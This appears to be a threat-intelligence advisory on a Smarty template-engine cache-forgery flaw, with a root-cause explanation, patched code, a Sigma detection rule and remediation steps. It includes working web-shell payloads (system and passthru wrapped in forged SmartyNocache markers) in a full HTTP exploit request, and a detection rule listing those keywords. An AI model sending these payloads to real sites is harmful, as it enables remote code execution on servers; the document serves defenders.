Skip to content

CVE-2026-82531: Smarty Template Inheritance Cache Forgery Remote Code Execution

Density:
HERMES

HERMES THREAT SCORE & WEB INFRASTRUCTURE COMPROMISE EVALUATION

Target: Smarty PHP Template Engine โ€” Inheritance Cache & Nocache Parser (Cached::removeNoCacheHash)
Confidence: 98%
95 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

Both CVSS v4.0 (9.2 Critical) and the Hermes Threat Score (95 CRITICAL) classify CVE-2026-82531 as a high-velocity code injection flaw in web application foundations. Smarty is embedded in hundreds of thousands of internet-facing web CMS platforms, e-commerce storefronts (PrestaShop), and collaborative frameworks (Tiki Wiki). In template inheritance pipelines using extends:, reloading compiled files from disk fails to restore the top-level nocache_hash, leaving it null. In Cached::removeNoCacheHash(), this null value collapses into an empty regular expression alternation pattern (realhash|). Any user-supplied data rendered within an inherited template can inject a forged /*%%SmartyNocache:%%*/ marker embedding raw PHP instructions. The template engine copies this marker verbatim into compiled PHP cache files on disk, triggering arbitrary code execution whenever the cached page is included.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-82531: Smarty Template Inheritance Cache Forgery Remote Code ExecutionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTSmarty Template Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Smarty Template Engine documented in Hermes dossier.”

Supporting Verified Evidence:

Smarty serves as the presentation layer for high-profile PHP open-source software, rendering dynamic views while enforcing template sandboxing and caching.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-82531International security tracking identifier
Software PlatformSmarty Template EngineWidely deployed PHP templating system
Vulnerable Componentsrc/Template/Cached.phpremoveNoCacheHash() & template inheritance compiler
Vulnerability ClassCWE-94 / CWE-20Code Injection / Cache Poisoning to RCE
Attack VectorNetwork (Port 80/443 TCP)Form submissions, query parameters, or API inputs rendered in templates
Remediation ReleasesSmarty v4.5.8 & v5.8.5Filters empty hashes before regex construction; neutralizes untrusted markers
[ Unauthenticated Remote Attacker ]
|
Sends HTTP POST with crafted payload in template variable:
/*%%SmartyNocache:%%*/<?php system($_GET['c']);?>/*/%%SmartyNocache:%%*/
|
v
+------------------------------------------+
| Web Application (CMS / Portal) |
| Passes input to Smarty assign() |
+------------------------------------------+
|
v
+------------------------------------------+
| Smarty Template Engine (Cached.php) |
| extends: template has nocache_hash = null
| Regex collapses: /(realhash|)/ matches!|
+------------------------------------------+
|
v
+------------------------------------------+
| Compiled Cache File on Local Disk |
| Payload copied VERBATIM into PHP cache |
+------------------------------------------+
|
v
+------------------------------------------+
| Next Request: include(cache_file) |
| Arbitrary PHP Code Execution! |
+------------------------------------------+

The root cause exists in how Smarty manages the state of nocache_hash across inheritance hierarchies. In extends: templates, child and parent templates compile into a single unifunc. On a fresh process that reloads the compiled template from disk, the top-level template object never restores the nocache_hash, leaving it null.

When Cached::removeNoCacheHash() splits the template buffer to persist dynamic segments, it constructs a regular expression joining all registered hashes:

// Vulnerable logic in Smarty/Template/Cached.php (Smarty < 4.5.8 and < 5.8.5)
public function removeNoCacheHash(Template $tpl) {
// When nocache_hash is null, array_filter or string concatenation produces empty tokens
$hashes = $tpl->getCompiled()->getNoCacheHashes();
// FLAW: If $hashes contains null/empty string, implode generates "(hash1||hash2)"
$regex = '/(?:\/\*%%SmartyNocache:(' . implode('|', $hashes) . ')%%\*\/)(.*?)(?:\/\*\/%%SmartyNocache:\1%%\*\/)/s';
// An empty alternative "(...|)" matches empty string, causing the engine to recognize
// forged markers in attacker-supplied data and copy them verbatim into the cache!
preg_match_all($regex, $content, $matches);
...
}

The fix sanitizes $hashes by dropping null and empty values. If no valid hashes remain, Smarty treats the entire buffer as plain template text, encoding PHP tags and preventing delimiter forgery:

// Patched implementation in Smarty v4.5.8 and v5.8.5
$hashes = array_filter($tpl->getCompiled()->getNoCacheHashes(), function($hash) {
return !empty($hash);
});
if (empty($hashes)) {
// Treat whole buffer as ordinary output so forged markers are PHP-tag neutralized
return htmlspecialchars($content, ENT_QUOTES);
}

  1. Target Identification: Adversaries identify an application endpoint using template inheritance ({extends file="layout.tpl"}) that reflects a user-controlled parameter (e.g. search query, profile description, or order comment).
  2. Payload Delivery: The attacker submits an input containing the synthetic delimiter:
    POST /search HTTP/1.1
    Host: target-ecommerce.com
    Content-Type: application/x-www-form-urlencoded
    q=/*%%SmartyNocache:%%*/<?php passthru($_SERVER['HTTP_X_CMD']); ?>/*/%%SmartyNocache:%%*/
  3. Cache Regeneration: The application renders the search results page. Smarty invokes removeNoCacheHash(). Due to the empty regex alternative, the payload is recognized as a dynamic SmartyNocache segment and injected unescaped into /var/www/html/templates_c/w3a89...cache.php.
  4. Triggering Execution: The adversary issues a second HTTP request to the cached page with X-Cmd: id; uname -a, causing PHP to include the cache file and execute the shell command.

title: Smarty Template Nocache Delimiter Forgery Injection
id: d8920bc1-4471-4798-a3f1-74f88219ae02
status: experimental
description: Detects HTTP requests containing synthetic SmartyNocache markers used to exploit template inheritance cache poisoning.
references:
- https://github.com/smarty-php/smarty/security/advisories/GHSA-3w63-v7pm-cq9x
- https://vulncheck.com/advisories/smarty-before-4.5.8-and-5-x-before-5.8.5-php-code-injection-via-extends-inheritance-cache
author: Hermes Codex CTI Team
date: 2026-10-07
logsource:
category: webserver
detection:
selection_marker:
cs-method:
- 'POST'
- 'GET'
cs-uri-query|contains:
- 'SmartyNocache'
- '%%SmartyNocache:'
selection_body:
c-body|contains:
- 'SmartyNocache'
- '<?php'
- 'passthru('
- 'system('
condition: selection_marker or selection_body
fields:
- c-ip
- cs-method
- cs-uri
- cs-user-agent
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.t1059.004

  1. Update Composer Dependencies: Update the smarty/smarty package in composer.json to ^4.5.8 or ^5.8.5:
    Terminal window
    composer require "smarty/smarty:^5.8.5" --update-with-dependencies
  2. Purge Cache Directories: Immediately delete all compiled and cached template artifacts across web server document roots:
    Terminal window
    rm -rf /var/www/html/templates_c/*
    rm -rf /var/www/html/cache/*
  3. Mount Cache on noexec Storage: Where feasible, ensure that the cache storage volume is mounted with noexec options or located outside directly executable web paths if caching to disk is strictly static.
  4. Enforce WAF Filtering: Configure perimeter WAF rule sets to inspect inbound query strings and request bodies for SmartyNocache patterns.